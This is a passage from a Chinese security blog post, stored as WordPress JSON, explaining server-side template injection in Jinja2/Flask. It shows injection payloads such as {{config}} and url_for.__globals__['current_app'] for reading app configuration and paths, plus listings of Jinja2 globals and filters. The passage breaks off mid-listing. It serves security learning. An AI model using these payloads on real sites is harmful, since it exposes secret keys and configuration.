{"id":296,"date":"2025-11-10T01:29:26","date_gmt":"2025-11-10T01:29:26","guid":{"rendered":"http:\/\/101.42.175.115\/wordpress\/?p=296"},"modified":"2026-01-07T11:48:26","modified_gmt":"2026-01-07T11:48:26","slug":"ssti_py","status":"publish","type":"post","link":"http:\/\/101.42.175.115\/wordpress\/?p=296","title":{"rendered":"Jinja2\u4e0eSimpleTemplate\u5f15\u64ce\u4e0b\u7684SSTI"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">SSTI\uff08Server-Side Template Injection\uff0c\u670d\u52a1\u5668\u7aef\u6a21\u677f\u6ce8\u5165\uff09\u662f\u4e00\u79cd\u5e38\u89c1\u7684 Web \u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u51fa\u73b0\u5728\u4f7f\u7528\u6a21\u677f\u5f15\u64ce\u6e32\u67d3\u52a8\u6001\u5185\u5bb9\u7684 Web \u5e94\u7528\u4e2d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u8bb8\u591a Web \u6846\u67b6\u4e2d\uff0c\u6a21\u677f\u5f15\u64ce\u7528\u4e8e\u5c06\u6570\u636e\u52a8\u6001\u63d2\u5165\u5230 HTML \u9875\u9762\u4e2d\uff0c\u901a\u5e38\u662f\u901a\u8fc7\u5728\u6a21\u677f\u4e2d\u63d2\u5165\u53d8\u91cf\u6216\u8868\u8fbe\u5f0f\u6765\u751f\u6210\u9875\u9762\u5185\u5bb9\u3002\u5982\u679c\u8fd9\u91cc\u7684\u8868\u8fbe\u5f0f\u53ef\u63a7\uff0c\u653b\u51fb\u8005\u5411\u5176\u4e2d\u6ce8\u5165\u6076\u610f\u8868\u8fbe\u5f0f\u5c31\u6709\u53ef\u80fd\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p>\n\n\n\n<div style=\"height:30px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">Jinja2<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Jinja2 \u5e38\u7528\u4e8e Python_Flask \u6846\u67b6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jinja2 \u7684\u8bed\u6cd5\u4e0e Python \u76f8\u4f3c\uff0c\u7c7b\u4f3c\u4e8e\u4e00\u4e2a Python \u7684\u5b89\u5168\u5b50\u96c6\u3002\u867d\u7136 Jinja2 \u4e0d\u5141\u8bb8\u76f4\u63a5\u6267\u884c Python \u8bed\u53e5\uff0c\u4f46\u80fd\u591f\u5b9e\u73b0 python \u4e2d\u7684\u52a8\u6001\u8bbf\u95ee\u3002<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u73af\u5883<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">flask jinja2 \u73af\u5883\u4e2d\u6709\u4e00\u4e9b\u5185\u7f6e\u7684\u5168\u5c40\u5bf9\u8c61\uff08\u5305\u62ec jinja2 \u5185\u7f6e\u548c flask \u81ea\u52a8\u6ce8\u5165\u5bf9\u8c61\uff09\uff0c\u6bd4\u5982<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>config\nurl_for\nrequest\n\u00a0\u200b\n# function\nget_flashed_messages\nlipsum<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #393A34\">config<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">url_for<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">request<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># function<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">get_flashed_messages<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">lipsum<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u901a\u8fc7 config \u5bf9\u8c61\u83b7\u53d6\u7a0b\u5e8f\u7684\u914d\u7f6e\u5b57\u5178\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{config}}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\">config<\/span><span style=\"color: #999999\">}}<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u9664\u6b64\u4e4b\u5916\uff0c\u8fd9\u91cc\u7684\u4e00\u4e9b\u5bf9\u8c61\u53ef\u4ee5\u7528\u4e8e\u83b7\u53d6 app \u5bf9\u8c61\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{url_for.__globals__&#91;'current_app'&#93;}}\n\u00a0\u200b\n# &lt;Flask 'app'><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\">url_for<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">current_app<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">&#93;}}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># &lt;Flask &#39;app&#39;&gt;<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u5c31\u80fd\u8bbf\u95ee app \u5bf9\u8c61\u83b7\u53d6\u4e00\u4e9b\u654f\u611f\u4fe1\u606f\uff0c\u4f8b\u5982\u83b7\u53d6\u5f53\u524d\u9879\u76ee\u7684\u6839\u76ee\u5f55\uff1a<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(1 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>{{url_for.__globals__&#91;'current_app'&#93;.root_path}}\n\u00a0\u200b\n# \/app<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #999999\">{{<\/span><span style=\"color: #393A34\">url_for<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #998418\">__globals__<\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">current_app<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">&#93;.<\/span><span style=\"color: #393A34\">root_path<\/span><span style=\"color: #999999\">}}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># \/app<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">\u5168\u5c40\u5b57\u5178<\/h4>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(2 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly># Jinja2 \u5185\u7f6e\u5bf9\u8c61\n'range': &lt;class 'range'>, \n'dict': &lt;class 'dict'>, \n'lipsum': &lt;function generate_lorem_ipsum at 0x7549d5ae6440>, \n'cycler': &lt;class 'jinja2.utils.Cycler'>, \n'joiner': &lt;class 'jinja2.utils.Joiner'>, \n'namespace': &lt;class 'jinja2.utils.Namespace'>, \n\u00a0\u200b\n# flask \u6ce8\u5165\u5bf9\u8c61\n'url_for': &lt;bound method Flask.url_for of &lt;Flask 'test'>>, \n'get_flashed_messages': &lt;function get_flashed_messages at 0x7549d5a76c20>, \n'config': &lt;Config {}>, \n'request': &lt;Request 'http:\/\/127.0.0.1:5000\/' &#91;GET&#93;>, \n'session': &lt;NullSession {}>, \n'g': &lt;flask.g of 'test'><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A0ADA0\"># Jinja2 \u5185\u7f6e\u5bf9\u8c61<\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">range<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;class<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">range<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">dict<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;class<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">dict<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">lipsum<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function generate_lorem_ipsum at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7549d5ae6440<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">cycler<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;class<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">jinja2.utils.Cycler<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">joiner<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;class<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">jinja2.utils.Joiner<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">namespace<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;class<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">jinja2.utils.Namespace<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #393A34\">\u00a0\u200b<\/span><\/span>\n<span class=\"line\"><span style=\"color: #A0ADA0\"># flask \u6ce8\u5165\u5bf9\u8c61<\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">url_for<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">bound method Flask<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">url_for of <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">Flask <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">test<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">get_flashed_messages<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">function get_flashed_messages at <\/span><span style=\"color: #AB5959\">0x<\/span><span style=\"color: #2F798A\">7549d5a76c20<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">config<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">Config <\/span><span style=\"color: #999999\">{}<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">request<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">Request <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">http:\/\/127.0.0.1:5000\/<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #999999\">&#91;<\/span><span style=\"color: #A65E2B\">GET<\/span><span style=\"color: #999999\">&#93;<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">session<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">NullSession <\/span><span style=\"color: #999999\">{}<\/span><span style=\"color: #AB5959\">&gt;<\/span><span style=\"color: #999999\">,<\/span><span style=\"color: #393A34\"> <\/span><\/span>\n<span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">g<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">flask<\/span><span style=\"color: #999999\">.<\/span><span style=\"color: #393A34\">g of <\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">test<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #AB5959\">&gt;<\/span><\/span><\/code><\/pre><span style=\"display:flex;align-items:flex-end;padding:10px;width:100%;justify-content:flex-end;background-color:#ffffff;color:#464740;font-size:12px;line-height:1;position:relative\">Python<\/span><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">\u5185\u7f6e\u8fc7\u6ee4\u5668<\/h4>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro padding-bottom-disabled cbp-has-line-numbers\" data-code-block-pro-font-family=\"\" style=\"font-size:clamp(16px, 1rem, 24px);--cbp-line-number-color:#393a34;--cbp-line-number-width:calc(2 * 0.6 * 1rem);line-height:clamp(24px, 1.5rem, 36px);--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#464740\">Python<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#393a34;display:none\" aria-label=\"\u590d\u5236\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>'abs': &lt;built-in function abs>, \n'attr': &lt;function do_attr at 0x7e1999fa0c10>, \n'batch': &lt;function do_batch at 0x7e1999f8fb50>, \n'capitalize': &lt;function do_capitalize at 0x7e1999f8e5f0>, \n'center': &lt;function do_center at 0x7e1999f8ee60>, \n'count': &lt;built-in function len>, \n'd': &lt;function do_default at 0x7e1999f8ed40>, \n'default': &lt;function do_default at 0x7e1999f8ed40>, \n'dictsort': &lt;function do_dictsort at 0x7e1999f8e710>, \n'e': &lt;function escape at 0x7e199a75d900>, \n'escape': &lt;function escape at 0x7e199a75d900>, \n'filesizeformat': &lt;function do_filesizeformat at 0x7e1999f8f400>, \n'first': &lt;function do_first at 0x7e1999f8f2e0>, \n'float': &lt;function do_float at 0x7e1999f8f880>, \n'forceescape': &lt;function do_forceescape at 0x7e1999f8e170>, \n'format': &lt;function do_format at 0x7e1999f8f910>, \n'groupby': &lt;function do_groupby at 0x7e1999fa05e0>, \n'indent': &lt;function do_indent at 0x7e1999f8f5b0>, \n'int': &lt;function do_int at 0x7e1999f8f7f0>, \n'join': &lt;function do_join at 0x7e1999f8f010>, \n'last': &lt;function do_last at 0x7e1999f8f130>, \n'length': &lt;built-in function len>, \n'list': &lt;function do_list at 0x7e1999fa0a60>, \n'lower': &lt;function do_lower at 0x7e1999f8e440>, \n'items': &lt;function do_items at 0x7e1999f8e4d0>, \n'map': &lt;function do_map at 0x7e1999fa0ee0>, \n'min': &lt;function do_min at 0x7e1999f8ec20>, \n'max': &lt;function do_max at 0x7e1999f8ecb0>, \n'pprint': &lt;function do_pprint at 0x7e1999f8f490>, \n'random': &lt;function do_random at 0x7e1999f8f370>, \n'reject': &lt;function do_reject at 0x7e1999fa1360>, \n'rejectattr': &lt;function do_rejectattr at 0x7e1999fa17e0>, \n'replace': &lt;function do_replace at 0x7e1999f8e320>, \n'reverse': &lt;function do_reverse at 0x7e1999fa0b80>, \n'round': &lt;function do_round at 0x7e1999f8fd90>, \n'safe': &lt;function do_mark_safe at 0x7e1999fa08b0>, \n'select': &lt;function do_select at 0x7e1999fa1120>, \n'selectattr': &lt;function do_selectattr at 0x7e1999fa15a0>, \n'slice': &lt;function do_slice at 0x7e1999f8fd00>, \n'sort': &lt;function do_sort at 0x7e1999f8e830>, \n'string': &lt;function soft_str at 0x7e199a75dd80>, \n'striptags': &lt;function do_striptags at 0x7e1999f8fa30>, \n'sum': &lt;function do_sum at 0x7e1999fa0820>, \n'title': &lt;function do_title at 0x7e1999f8e680>, \n'trim': &lt;function do_trim at 0x7e1999f8f9a0>, \n'truncate': &lt;function do_truncate at 0x7e1999f8f640>, \n'unique': &lt;function do_unique at 0x7e1999f8eb00>, \n'upper': &lt;function do_upper at 0x7e1999f8e3b0>, \n'urlencode': &lt;function do_urlencode at 0x7e1999f8e200>, \n'urlize': &lt;function do_urlize at 0x7e1999f8f520>, \n'wordcount': &lt;function do_wordcount at 0x7e1999f8f760>, \n'wordwrap': &lt;function do_wordwrap at 0x7e1999f8f6d0>, \n'xmlattr': &lt;function do_xmlattr at 0x7e1999f8e560>, \n'tojson': &lt;function do_tojson at 0x7e1999fa1630>}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M4.5 12.75l6 6 9-13.5\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6\"><\/path><\/svg><\/span><pre class=\"shiki vitesse-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #B56959\">abs<\/span><span style=\"color: #B5695999\">&#39;<\/span><span style=\"color: #999999\">:<\/span><span style=\"color: #393A34\"> <\/span><span style=\"color: #AB5959\">&lt;<\/span><span style=\"color: #393A34\">built<\/span><span style=\"color: #AB5959\">-in<\/span><span 